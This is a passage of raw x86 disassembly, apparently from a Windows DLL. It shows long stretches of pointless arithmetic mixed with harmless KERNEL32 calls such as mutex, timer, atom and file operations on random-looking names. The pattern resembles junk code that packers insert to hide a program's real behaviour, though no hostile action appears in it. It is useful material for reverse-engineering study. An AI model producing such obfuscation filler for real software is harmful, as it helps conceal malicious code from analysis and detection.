mov dword [ebp - 0x3a88], eax
mov ecx, dword [0x100b9cc8]
mov dx, word [ecx]
mov word [0x100b9d68], dx
mov eax, dword [ebp - 0x395c]
movsx edx, word [eax]
mov eax, dword [0x100b9990]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x35bc]
mov word [ecx], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9d6c], eax
lea edx, [ebp - 0x2c90]
mov dword [ebp - 0x3a8c], edx
mov eax, dword [ebp - 0x35c4]
movsx edx, byte [eax]
mov eax, dword [0x100b9724]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b9654]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x38b4], eax
movzx edx, byte [ebp - 0x276]
mov eax, dword [ebp - 0x37c4]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x39ec]
mov byte [eax], dl
mov ecx, dword [ebp - 0x37bc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9708], eax
movzx edx, word [ebp - 0x1228]
mov eax, dword [ebp - 0x3660]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1244], dx
push str.BS_OixfRC_6kPU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x126c], ax
movzx edx, word [ebp - 0x1168]
movzx eax, word [ebp - 0x59c]
add edx, eax
mov word [0x100b7268], dx
mov ecx, dword [ebp - 0x3a4c]
mov edx, dword [ebp - 0x3634]
and edx, dword [ecx]
mov dword [ebp - 0x2bf4], edx
push 0
push 4
push 5
push 0
push 8
push 0x80000000
push str.yHX7c3EODFRd
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9d70], eax
mov eax, dword [ebp - 0x36ac]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3750]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1160], dx
push 0x100b9b28
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x36ec]
mov edx, dword [ebp - 0x3a7c]
xor edx, dword [ecx]
mov dword [0x100b71e0], edx
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x3a90], eax
mov cl, byte [ebp - 0x289]
mov byte [0x100b7f3f], cl
movzx edx, word [ebp - 0x1218]
movzx eax, word [ebp - 0x59c]
sub edx, eax
mov word [ebp - 0x4d8], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3924], eax
mov ecx, dword [0x100b9620]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2d10]
shl edx, cl
mov eax, dword [ebp - 0x39e8]
mov dword [eax], edx
mov ecx, dword [0x100b96d4]
mov edx, dword [ebp - 0x2be8]
or edx, dword [ecx]
mov dword [0x100b7238], edx
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x3a94], eax
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x372c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x285], dl
push 0
push 0x10
push 5
push 0
push 4
push 0xc0000000
push str.0dkwzbFcKLP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9d74], eax
mov edx, dword [ebp - 0x3a84]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xe7]
and eax, ecx
mov byte [0x100b7182], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3a98], eax
push 0x23d7
mov edx, dword [ebp - 0x3a60]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9ab0], eax
push 0x100b9d78
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x3a90]
mov cl, byte [eax]
mov byte [ebp - 0x28c], cl
mov edx, dword [0x100b98e0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2cfc]
sar eax, cl
mov dword [ebp - 0x38c8], eax
lea ecx, [ebp - 0xaf0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [0x100b9d90], 0x100b9984
mov edx, dword [ebp - 0x37f8]
mov ax, word [edx]
mov word [ebp - 0x1270], ax
mov ecx, dword [ebp - 0x385c]
mov edx, dword [ebp - 0x3848]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3938]
mov dword [ecx], eax
mov edx, dword [0x100b9598]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3904]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100b9988]
mov byte [edx], al
push 0x3845
push 0x354c
push 0x2c3e
push 0x11ec
mov eax, dword [0x100b96b0]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3a9c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x37d4], eax
push 0x100b9d94
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b998c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x27a]
add edx, eax
mov byte [ebp - 0x27d], dl
lea ecx, [ebp - 0x2d10]
mov dword [ebp - 0x3aa0], ecx
mov dword [0x100b9db8], 0x100b9d68
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b97c0], eax
mov edx, dword [ebp - 0x39d8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9824], eax
mov eax, dword [ebp - 0x391c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x6bc]
and ecx, edx
mov word [ebp - 0xa9c], cx
movzx eax, word [ebp - 0xbdc]
movzx ecx, word [ebp - 0x1254]
or eax, ecx
mov word [ebp - 0x11cc], ax
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
movzx ecx, byte [0x100b7e0f]
sar eax, cl
mov byte [0x100b7192], al
push str.YL00
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1274], ax
mov ecx, dword [ebp - 0x364c]
mov eax, dword [ecx]
xor edx, edx
mov ecx, 0xa9f
div ecx
mov dword [ebp - 0x2bf4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3aa4], eax
lea edx, [ebp - 0x3744]
mov dword [ebp - 0x3aa8], edx
movsx eax, byte [0x100b7186]
movsx ecx, byte [ebp - 0x1ab]
add eax, ecx
mov edx, dword [0x100b987c]
mov byte [edx], al
mov eax, dword [ebp - 0x3660]
movzx ecx, word [eax]
movzx edx, word [0x100b71d0]
and ecx, edx
mov eax, dword [ebp - 0x3650]
mov word [eax], cx
mov cx, word [ebp - 0x1160]
mov word [ebp - 0x1278], cx
movsx edx, byte [0x100b7133]
mov eax, dword [ebp - 0x3a38]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x100b9654]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9dbc], eax
movzx edx, byte [0x100b7f03]
movzx ecx, byte [ebp - 0x268]
shl edx, cl
mov byte [ebp - 0x28a], dl
lea eax, [ebp - 0x34c0]
mov dword [ebp - 0x3aac], eax
lea ecx, [ebp - 0x3838]
mov dword [0x100b9dc0], ecx
mov edx, dword [ebp - 0x383c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3a58]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x266], al
mov eax, dword [ebp - 0x33ec]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x10b8], dx
movsx ecx, word [0x100b71fc]
mov edx, dword [ebp - 0x3a34]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b726c], cx
mov cl, byte [ebp - 0x289]
mov byte [ebp - 0x28d], cl
push 0x1739
mov edx, dword [ebp - 0x3640]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9824], eax
mov eax, dword [0x100b9a4c]
mov ecx, dword [ebp - 0x3494]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x33b4], edx
movzx eax, word [ebp - 0x108c]
movzx ecx, word [ebp - 0x1184]
imul eax, ecx
mov edx, dword [0x100b9c5c]
mov word [edx], ax
mov eax, dword [0x100b7238]
xor eax, dword [ebp - 0x2bf4]
mov ecx, dword [ebp - 0x3938]
mov dword [ecx], eax
movzx edx, word [ebp - 0x11c4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9dc4], ax
movsx eax, byte [ebp - 0x87]
movsx ecx, byte [0x100b7e73]
shl eax, cl
mov byte [ebp - 0x134], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9dc8], eax
movsx ecx, word [ebp - 0x1250]
mov edx, dword [ebp - 0x34ac]
movsx eax, word [edx]
xor ecx, eax
mov word [0x100b726c], cx
mov ecx, dword [0x100b9be4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x39ec]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3a28]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ab0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b94f0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3910]
mov edx, dword [0x100b9b18]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3274], edx
push 0x100b9a84
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9dcc], eax
mov al, byte [ebp - 0xf7]
mov byte [0x100b7f46], al
mov cx, word [ebp - 0x1150]
mov word [ebp - 0x127c], cx
lea edx, [ebp - 0xad38]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0xf0c]
mov ecx, dword [0x100b99d4]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x4d8], ax
mov eax, dword [ebp - 0x3848]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3634]
mov dword [0x100b71f0], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9dd0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3ab8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3abc], eax
push 0x100b988c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x125c]
mov dword [ebp - 0x3ac0], edx
movzx eax, byte [0x100b7e2a]
movzx ecx, byte [ebp - 0x274]
xor eax, ecx
mov edx, dword [ebp - 0x3884]
mov byte [edx], al
mov eax, dword [ebp - 0x33b4]
mov dword [0x100b9dd4], eax
mov ecx, dword [ebp - 0x39d0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17c]
sub edx, eax
mov byte [ebp - 0x12c], dl
movzx edx, word [ebp - 0x121c]
movzx ecx, word [ebp - 0xf9c]
shl edx, cl
mov word [ebp - 0x1138], dx
push 0x5c
push 0
lea eax, [ebp - 0x36b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9718], eax
movzx ecx, word [ebp - 0x11a0]
movzx edx, word [ebp - 0x1204]
add ecx, edx
mov word [0x100b7260], cx
mov al, byte [ebp - 0x261]
mov byte [ebp - 0x28e], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9dd8], eax
lea ecx, [ebp - 0x326c]
mov dword [0x100b9ddc], ecx
movsx edx, word [ebp - 0xa9c]
mov eax, dword [ebp - 0x39a4]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x369c]
mov word [ecx], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3ac4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3878], eax
push 0
push 2
push 3
push 0
push 2
push 0x80000000
push str.Vn1QCVFptYyg4EPw0nIaKT_vfSCI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9de0], eax
movzx edx, byte [ebp - 0x260]
movzx eax, byte [ebp - 0x26d]
and edx, eax
mov ecx, dword [ebp - 0x3618]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3a50]
mov eax, dword [0x100b98e0]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov edx, dword [0x100b9c64]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x36a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9728], eax
lea eax, [ebp - 0x8f8]
mov dword [ebp - 0x3ac8], eax
mov ecx, dword [ebp - 0x37d0]
mov edx, dword [ebp - 0x2dc0]
or edx, dword [ecx]
mov dword [ebp - 0x3810], edx
movsx eax, word [ebp - 0x600]
mov ecx, dword [ebp - 0x3488]
movsx edx, word [ecx]
xor eax, edx
mov word [0x100b7270], ax
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [eax]
mov dword [ebp - 0x3acc], ecx
push 0x859
mov edx, dword [0x100b99bc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3ad0], eax
push 0x100b9de4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3ad4], eax
mov eax, dword [0x100b96fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3618]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4c], cl
movsx edx, byte [ebp - 0xa5]
movsx ecx, byte [0x100b7dfe]
shl edx, cl
mov byte [0x100b7193], dl
movsx eax, byte [ebp - 0x120]
movsx ecx, byte [0x100b714b]
and eax, ecx
mov edx, dword [ebp - 0x39d0]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x38ac], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9640], eax
lea eax, [ebp - 0x37b0]
mov dword [ebp - 0x3ad8], eax
movzx edx, byte [ebp - 0x28d]
movzx ecx, byte [ebp - 0x265]
sar edx, cl
mov byte [0x100b7df7], dl
mov eax, dword [0x100b9bac]
movsx ecx, word [eax]
movsx edx, word [0x100b7254]
xor ecx, edx
mov eax, dword [ebp - 0x3a78]
mov word [eax], cx
mov ecx, dword [ebp - 0x36c0]
mov dx, word [ecx]
mov word [ebp - 0x1280], dx
push 0
push 0x10
push 3
push 0
push 1
push 0xc0000000
push str.eczuBTy18kCd2SzJA4I
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9dfc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3adc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
mov eax, dword [ebp - 0x3680]
mov ecx, dword [0x100b725c]
add ecx, dword [eax]
mov dword [0x100b7238], ecx
mov edx, dword [0x100b98b8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x28c], al
movzx eax, word [0x100b94ec]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1284], ax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x3ae0], ecx
push 0x100b9e00
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dl, byte [ebp - 0x277]
mov byte [0x100b7f47], dl
push 0x1a7b
mov eax, dword [ebp - 0x3854]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9e24], eax
mov ecx, dword [ebp - 0x3648]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x108c]
and edx, eax
mov word [ebp - 0xefc], dx
lea ecx, [ebp - 0x1130]
mov dword [ebp - 0x3ae4], ecx
mov edx, dword [ebp - 0x3978]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x134]
sub eax, ecx
mov edx, dword [0x100b9c78]
mov byte [edx], al
movzx eax, word [ebp - 0xf9c]
mov ecx, dword [ebp - 0x3808]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x1254], ax
mov edx, dword [0x100b7238]
mov ecx, dword [ebp - 0x3604]
shr edx, cl
mov eax, dword [ebp - 0x379c]
mov dword [eax], edx
movzx ecx, word [0x100b99b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1288], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x392c], eax
mov edx, dword [ebp - 0x39fc]
mov eax, dword [edx]
mov dword [0x100b9e28], eax
mov ecx, dword [ebp - 0x38fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x276]
add edx, eax
mov byte [ebp - 0x256], dl
push 0x100b9e2c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x395c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3684]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x365c]
mov word [eax], dx
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [ebp - 0x278]
xor ecx, edx
mov byte [0x100b719a], cl
lea eax, [ebp - 0xe28]
mov dword [ebp - 0x3ae8], eax
mov ecx, dword [ebp - 0x37c0]
mov edx, dword [ebp - 0x3630]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x30e8], eax
push 0
push 0x6d0
push 0x3d29
push 0x2a65
push 1
mov ecx, dword [0x100b984c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3aec], eax
mov edx, dword [ebp - 0x3a4c]
mov eax, dword [edx]
xor edx, edx
mov ecx, 0x2fb9
div ecx
mov dword [0x100b720c], eax
movzx edx, byte [ebp - 0x274]
mov eax, dword [ebp - 0x3620]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xe7], dl
mov cl, byte [0x100b7d97]
mov byte [ebp - 0x28f], cl
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
mov ecx, dword [0x100b9880]
movsx ecx, word [ecx]
sar eax, cl
mov word [0x100b7254], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b98ec], eax
push str.DMs_ZL70G6CYYs5GE0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1288], ax
push 0
push 0x10
push 5
push 0
push 1
push 0xc0000000
push str.saHDcIPXcBV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3af0], eax
mov edx, dword [ebp - 0x33ec]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3834]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3888]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
mov edx, dword [ebp - 0x36f8]
mov eax, dword [0x100b7230]
and eax, dword [edx]
mov dword [ebp - 0x2c3c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x36cc], eax
push str.YpNW6J_FXw.EK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9e48], ax
mov cl, byte [0x100b7156]
mov byte [0x100b7f8e], cl
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x26f]
xor eax, ecx
mov edx, dword [ebp - 0x3658]
mov byte [edx], al
push 0xd18
mov eax, dword [0x100b9cc4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3af4], eax
mov ecx, dword [ebp - 0x2ec4]
xor ecx, dword [0x100b9524]
mov dword [ebp - 0x2e64], ecx
lea edx, [ebp - 0xc94]
mov dword [0x100b9e4c], edx
movzx eax, word [ebp - 0x113c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9e50], ax
mov dword [ebp - 0x3af8], 0x100b9888
push 0x100b95c8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x3170]
xor ecx, dword [ebp - 0x3744]
mov dword [ebp - 0x2b3c], ecx
mov edx, dword [ebp - 0x38a4]
movsx eax, byte [edx]
mov ecx, dword [0x100b9724]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9b5c]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3afc], eax
mov edx, dword [ebp - 0x36e0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9af4], eax
push 0
push 0x160b
push 0x342c
push 0x7e55
push 2
mov eax, dword [ebp - 0x36c4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b9e54], eax
mov cl, byte [ebp - 0x27c]
mov byte [ebp - 0x290], cl
mov dx, word [ebp - 0x7ac]
mov word [ebp - 0x128c], dx
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3644]
movzx eax, word [edx]
sub ecx, eax
mov word [0x100b979c], cx
mov ecx, dword [ebp - 0x3aac]
mov edx, dword [ebp - 0x3a4c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2bf4], eax
mov ecx, dword [ebp - 0x3840]
movsx edx, word [ecx]
mov eax, dword [0x100b9938]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1194], dx
lea ecx, [ebp - 0x3838]
mov dword [0x100b9e58], ecx
lea edx, [ebp - 0x270]
mov dword [ebp - 0x3b00], edx
mov eax, dword [0x100b9660]
movzx edx, byte [eax]
movzx ecx, byte [0x100b7efb]
sar edx, cl
mov eax, dword [0x100b9660]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e5c], eax
lea ecx, [ebp - 0x1100]
mov dword [ebp - 0x3b04], ecx
mov edx, dword [ebp - 0x3980]
mov eax, dword [ebp - 0x38e8]
and eax, dword [edx]
mov dword [ebp - 0x35e0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3b08], eax
mov ecx, dword [0x100b98b0]
mov edx, dword [ebp - 0x326c]
imul edx, dword [ecx]
mov dword [0x100b7274], edx
mov dword [ebp - 0x3b0c], 0x100b95ec
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38a0], eax
movsx eax, byte [ebp - 0x27d]
movsx ecx, byte [0x100b7157]
xor eax, ecx
mov edx, dword [ebp - 0x3624]
mov byte [edx], al
movzx eax, byte [ebp - 0xa7]
movzx ecx, byte [ebp - 0x1dc]
add eax, ecx
mov edx, dword [0x100b9d18]
mov byte [edx], al
mov dword [ebp - 0x3b10], 0x100b7193
mov eax, dword [ebp - 0x3910]
mov ecx, dword [eax]
and ecx, dword [0x100b9e28]
mov dword [ebp - 0x2dc0], ecx
mov dx, word [0x100b71cc]
mov word [0x100b9e60], dx
movsx eax, word [ebp - 0x768]
mov ecx, dword [ebp - 0x3a78]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xfc4], ax
push 0x100b9e2c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x100b7238]
mov ecx, dword [ebp - 0x2c7c]
shl edx, cl
mov dword [ebp - 0x2f78], edx
mov eax, dword [ebp - 0x3548]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x140]
or ecx, edx
mov byte [0x100b719b], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
movsx eax, byte [0x100b7d97]
movsx ecx, byte [ebp - 0x261]
xor eax, ecx
mov byte [ebp - 0x69], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9e64], eax
mov edx, dword [0x100b9c54]
mov eax, dword [ebp - 0x36ec]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x3768], ecx
mov edx, dword [ebp - 0x39f8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
and eax, edx
mov word [0x100b99e8], ax
lea eax, [ebp - 0x9c88]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [0x100b97bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1238], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96ac], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e68], eax
mov edx, dword [ebp - 0x3560]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x100b9558]
movsx edx, word [eax]
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x6bc], dx
mov ecx, dword [ebp - 0x38c4]
mov dx, word [ecx]
mov word [ebp - 0x1290], dx
mov eax, dword [ebp - 0x33f4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4e]
xor ecx, edx
mov eax, dword [0x100b9904]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b18], eax
push 0
push 0x400
push 0
push 0
push 8
push 0x80000000
push str.I5OBKjv1g9fs86ccB
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9e6c], eax
lea ecx, [ebp - 0x2db8]
mov dword [ebp - 0x3b1c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
mov edx, dword [ebp - 0x359c]
mov eax, dword [ebp - 0x2c3c]
sub eax, dword [edx]
mov dword [ebp - 0x2b2c], eax
mov cl, byte [ebp - 0xc1]
mov byte [0x100b7f8f], cl
movzx edx, word [ebp - 0x11c0]
movzx ecx, word [0x100b71cc]
shl edx, cl
mov word [ebp - 0xfd0], dx
movsx eax, word [ebp - 0x6bc]
movsx ecx, word [ebp - 0x7d8]
or eax, ecx
mov edx, dword [ebp - 0x369c]
mov word [edx], ax
mov eax, dword [ebp - 0x3a70]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x38d8]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b71a2], cl
mov ecx, dword [0x100b9908]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3b20], eax
mov edx, dword [ebp - 0x39ec]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x140]
and eax, ecx
mov edx, dword [ebp - 0x37e8]
mov byte [edx], al
lea eax, [ebp - 0x34c0]
mov dword [ebp - 0x3b24], eax
mov ecx, dword [0x100b9c64]
mov edx, dword [ebp - 0x37b0]
imul edx, dword [ecx]
mov eax, dword [0x100b975c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x287]
movsx edx, byte [0x100b7142]
xor ecx, edx
mov eax, dword [ebp - 0x3b00]
mov byte [eax], cl
mov cx, word [ebp - 0x11f8]
mov word [ebp - 0x1294], cx
mov dx, word [ebp - 0x1144]
mov word [0x100b9e70], dx
movzx eax, byte [ebp - 0x256]
movzx ecx, byte [ebp - 0x26f]
sar eax, cl
mov byte [ebp - 0x9e], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e74], eax
mov ecx, dword [ebp - 0x3a74]
mov edx, dword [ebp - 0x38ec]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x33e8]
mov dword [ecx], eax
push 0x100b988c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [0x100b98f8]
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
add edx, ecx
mov word [0x100b7224], dx
lea edx, [ebp - 0x2be8]
mov dword [ebp - 0x3b28], edx
mov eax, dword [0x100b99cc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x27d]
and ecx, edx
mov byte [ebp - 0x28f], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3b2c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
movsx eax, word [ebp - 0x1278]
movsx ecx, word [ebp - 0x1214]
or eax, ecx
mov word [0x100b9e70], ax
mov dword [ebp - 0x3b30], 0x100b7f3f
mov edx, dword [ebp - 0x3a14]
mov eax, dword [edx]
imul eax, dword [ebp - 0x37dc]
mov ecx, dword [ebp - 0x3a14]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x375c], eax
mov edx, dword [ebp - 0x34bc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x267]
mov dword [0x100b9e78], eax
lea ecx, [ebp - 0x1204]
mov dword [ebp - 0x3b34], ecx
